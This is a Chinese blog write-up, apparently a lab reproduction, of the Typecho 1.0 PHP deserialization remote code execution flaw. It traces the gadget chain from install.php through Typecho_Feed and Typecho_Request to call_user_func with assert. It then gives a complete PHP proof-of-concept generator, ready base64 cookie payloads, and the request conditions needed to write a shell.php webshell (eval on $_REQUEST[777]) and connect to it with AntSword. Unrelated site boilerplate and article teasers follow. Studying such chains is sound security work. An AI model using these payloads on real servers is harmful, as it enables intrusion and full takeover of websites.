【PHP代码审计】反序列化漏洞实战

文章目录

    • 概述
    • 资源下载地址
    • Typecho代码审计-漏洞原理
        • call_user_func()
        • `_applyFilter()`、get()与__get`
        • __toString()
        • `__construct()`
        • install.php
    • POC利用
    • 漏洞利用复现
      • 利用链
      • 执行phpinfo()
        • GET利用
        • POST利用
      • getshell
        • 生成payload
        • 漏洞利用
        • 蚁剑连接
    • 总结

概述

序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。

经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

资源下载地址

链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan

具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。

Typecho代码审计-漏洞原理

参考文章:https://www.cnblogs.com/litlife/p/10798061.html

call_user_func()

经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func

image-20230905164143684

这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')",就相当于我们执行了这个命令:

assert(fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>'));

这个命令意思就是我们创建并打开一个shell.php文件,并且把<?php phpinfo();@eval(\$_REQUEST[777])?>写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。

_applyFilter()、get()与__get`

基于对以上危险函数的分析,我们开始寻找利用点

要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value_applyFilter函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。

经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数

image-20230905170656515

在这个get()函数中,调用了_applyFilter函数,并且传了参数$value,其中$value是可控的,因为他其实就是当前类的_params数组的一个键为$key的值,所以我们下一步要做的就是控制_params数组的$key,于是我们继续往上找,看看是谁调用了这个get()函数。

image-20230905170835213

经过查找可以发现,__get()函数调用了get()函数,__get()函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。

__toString()

经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items数组是可控的,所以这里可以利用

image-20230905174252265

当我们访问_items数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()函数,我们把_items中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()函数

在上一步分析中,我们要知道我们分析的代码是在哪个函数中:

image-20230905174542073

如图,是在Typecho_Feed类的__toString()函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。

__construct()

经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接

image-20230905175106219

所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。

install.php

经过查找,可以在install.php中发现以下代码:

image-20230905180450369

这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。

根据以上代码分析可知,我们可以控制cookie的__typecho_config键的值,然后反序列化成为一个$config对象,所以$config对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。

POC利用

typecho_1.0(14.10.10)_unserialize_fputs.php

<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

漏洞利用复现

利用链

反序列化 --> __construct() --> toString() --> __get() --> _applyFilter() --> call_user_func()

执行phpinfo()

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件生成payload,如图:

image-20230905135013906

GET利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中,key为__typecho_config
  4. 需要Referer头:http://10.9.75.168
  5. url中需要参数finish

序列化数据放在cookie中,并且需要Referer校验

/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

这里使用的是hackbar:

image-20230905133727139

也可以用BurpSuit修改请求包:

image-20230905134418589

POST利用

条件

  1. php版本5.4.45
  2. 具有序列化漏洞的php是install.php
  3. 序列化数据放在cookie中或者body中,key为__typecho_config
  4. 与是否携带Referer头无关
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

image-20230905133843606

getshell

生成payload

生成恶意序列化数据:

使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php文件生成payload,如图:

image-20230905155725320

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的

漏洞利用

image-20230905155601193

蚁剑连接

image-20230905155252415

总结

​ PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString() --> __get() --> _applyFilter() --> call_user_func()。

其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句来制造利用条件的,比如install.php的入口处:

image-20230905195114428

由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链

​ 因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/72423.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

13 mysql date/time/datetime/year 的数据存储

前言 这里主要是 由于之前的一个 datetime 存储的时间 导致的问题的衍生出来的探究 探究的主要内容为 int 类类型的存储, 浮点类类型的存储, char 类类型的存储, blob 类类型的存储, enum/json/set/bit 类类型的存储 本文主要 的相关内容是 datetime/date/time/year 类类型…

NS2安装及入门实例——(ns2.35 / Ubuntu20.04)

文章目录 一、ns2安装1、更新系统源2、准备工作3、下载安装包4、安装5、问题① 问题1② 问题2③ 问题3 6、安装成功7、环境配置 二、nam安装1、安装2、问题 三、实例 一、ns2安装 1、更新系统源 sudo apt-get update sudo apt-get upgrade2、准备工作 sudo apt-get install …

Oracle 遍历变量游标

背景 由于我们的数据库系统中的游标特别多&#xff0c;DBA让我们优化&#xff0c;减少游标的使用。 电脑系统&#xff1a;windows数据库&#xff1a;Oracle数据库图形化界面工具&#xff1a;Toad&#xff0c;DBeaver(我測試的時候用的)记录日期&#xff1a;2023-09-04 具体实…

计算机重点学科评级B-,山东省属重点高校考情分析

山东科技大学(B-) 考研难度&#xff08;☆☆&#xff09; 内容&#xff1a;23考情概况&#xff08;拟录取和复试分析&#xff09;、院校概况、23专业目录、23复试详情、各专业考情分析、各科目考情分析。 正文1175字预计阅读&#xff1a;3分钟 2023考情概况 山东科技大学计…

Android12之解析/proc/pid进程参数(一百六十四)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

记一次诡异的Cannot find declaration to go to,Cannot resolve method

记一次诡异的 Cannot find declaration to go to&#xff0c; Cannot resolve method getOnExpressions in Join 对于项目中通常问题&#xff0c;清除缓存&#xff0c;重启idea&#xff0c;或者仔细检查语法通常都能解决问题&#xff0c;但是这次却失效了&#xff0c;以下是原…

Scala面向对象编程(高级部分)

1. 静态属性和静态方法 &#xff08;1&#xff09;回顾Java中的静态概念 public static 返回值类型 方法名(参数列表) {方法体} 静态属性… 说明: Java中静态方法并不是通过对象调用的&#xff0c;而是通过类对象调用的&#xff0c;所以静态操作并不是面向对象的。 &#xff0…

深入探讨Java Stream流:数据处理的新思维

文章目录 1. 流式思想1.1 输入流与输出流1.2 Stream流 2. 使用Stream流的步骤3. 获取Stream流3.1 容器3.2 数组 4. Stream流中间操作方法4.1 filter(Predicate<? super T> predicate)4.2 limit(long maxSize)4.3 skip(long n)4.4 distinct()4.5 sorted() 和 sorted(Comp…

Java使用pdfbox将pdf转图片

前言 目前比较主流的两种转pdf的方式&#xff0c;就是pdfbox和icepdf&#xff0c;两种我都尝试了下&#xff0c;icepdf解析出来有时候会出现中文显示不出来&#xff0c;网上的解决方式又特别麻烦&#xff0c;不是安装字体&#xff0c;就是重写底层类&#xff0c;所以我选择了p…

【Spring】aop的底层原理

&#x1f384;欢迎来到边境矢梦的csdn博文&#x1f384; &#x1f384;本文主要梳理 Spring 中的切面编程aop的底层原理和重点注意的地方 &#x1f384; &#x1f308;我是边境矢梦&#xff0c;一个正在为秋招和算法竞赛做准备的学生&#x1f308; &#x1f386;喜欢的朋友可以…

人体呼吸存在传感器成品,毫米波雷达探测感知技术,引领智能家居新潮流

随着科技的不断进步和人们生活质量的提高&#xff0c;智能化家居逐渐成为一种时尚和生活方式。 人体存在传感器作为智能家居中的重要组成部分&#xff0c;能够实时监测环境中人体是否存在&#xff0c;为智能家居系统提供更加精准的控制和联动。 在这个充满创新的时代&#xf…

科技资讯|苹果Vision Pro头显申请游戏手柄专利和商标

苹果集虚拟现实和增强现实于一体的头戴式设备 Vision Pro 推出一个月后&#xff0c;美国专利局公布了两项苹果公司申请的游戏手柄专利&#xff0c;其中一项的专利图如下图所示。据 PatentlyApple 报道&#xff0c;虽然专利本身并不能保证苹果公司会推出游戏手柄&#xff0c;但是…

Redis6搭建高可用的多主多从集群

Redis6搭建高可用的多主多从集群 环境准备搭建redis6集群安装redis6修改配置文件修改cluster-enabled修改cluster-config-file修改cluster-node-timeout 启动集群 环境准备 首先我们需要6台redis&#xff0c;那么为啥是6太呢&#xff1f;是因为我们要部署多master和多slaver集…

07-Spring Cloud

1、如何设计一个注册中心&#xff1f; 高可用&#xff1a;通过集群的方式 高并发&#xff1a;减少响应时间、提高吞吐量 并发用户数等&#xff0c;通过增加服务器性能、 扩展服务实例的方式 高性能&#xff1a;程序处理速度 考虑 数据存储结构、通信机制、集群同步。 集群…

C++中引用详解!

前言&#xff1a; 本文旨在讲解C中引用的相关操作&#xff0c;以及引用的一些注意事项&#xff01;搬好小板凳&#xff0c;干货来了&#xff01; 引用的概念 何谓引用呢&#xff1f;引用其实很容易理解&#xff0c;比如李华这个同学&#xff0c;他因为很调皮&#xff0c;所以…

解密Kubernetes(K8s)集群的创建过程和关键步骤

文章目录 1. 准备环境2. 安装Docker3. 安装Kubernetes在Master节点上执行以下步骤&#xff1a;安装kubeadm、kubelet和kubectl初始化Master节点 在工作节点上执行以下步骤&#xff1a;加入集群 4. 设置Kubeconfig5. 安装网络插件6. 验证集群7. 部署应用程序8. 扩展和管理集群9.…

算法专栏——双指针

1.移动零 题目链接&#xff1a;移动 0_牛客题霸_牛客网 (nowcoder.com) 算法原理&#xff1a; 像这样子的将一整块数组划分很多部分可以称为数组划分&#xff0c;常用的解法可以是双指针。 说是双指针&#xff0c;但操作的对象是数组&#xff0c;因此下标就是指针。 双指针的…

LeetCode 48题: 旋转图像

题目 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]]…

MySql学习笔记04——DDL

DDL 建表语法 建表属于DDL语句&#xff0c;DDL语句包括create drop alter create table 表名(字段名1 数据类型,字段名2 数据类型,字段名3 数据类型,.. );表名一般建议使用t_开头&#xff0c;可读性更强。 Mysql数据类型 varchar 可变长度的字符串&#xff0c;最长为255&…

webserver 同步 I/O 模拟 Proactor 模式的工作流程

服务器基本框架、I/O 模型、事件处理模式 一、服务器编程基本框架 虽然服务器程序种类繁多&#xff0c;但其基本框架都一样&#xff0c;不同之处在于逻辑处理。 二、五种 I/O 模型 阻塞/非阻塞、同步/异步&#xff08;网络IO&#xff09;_呵呵哒(&#xffe3;▽&#xffe3;)&…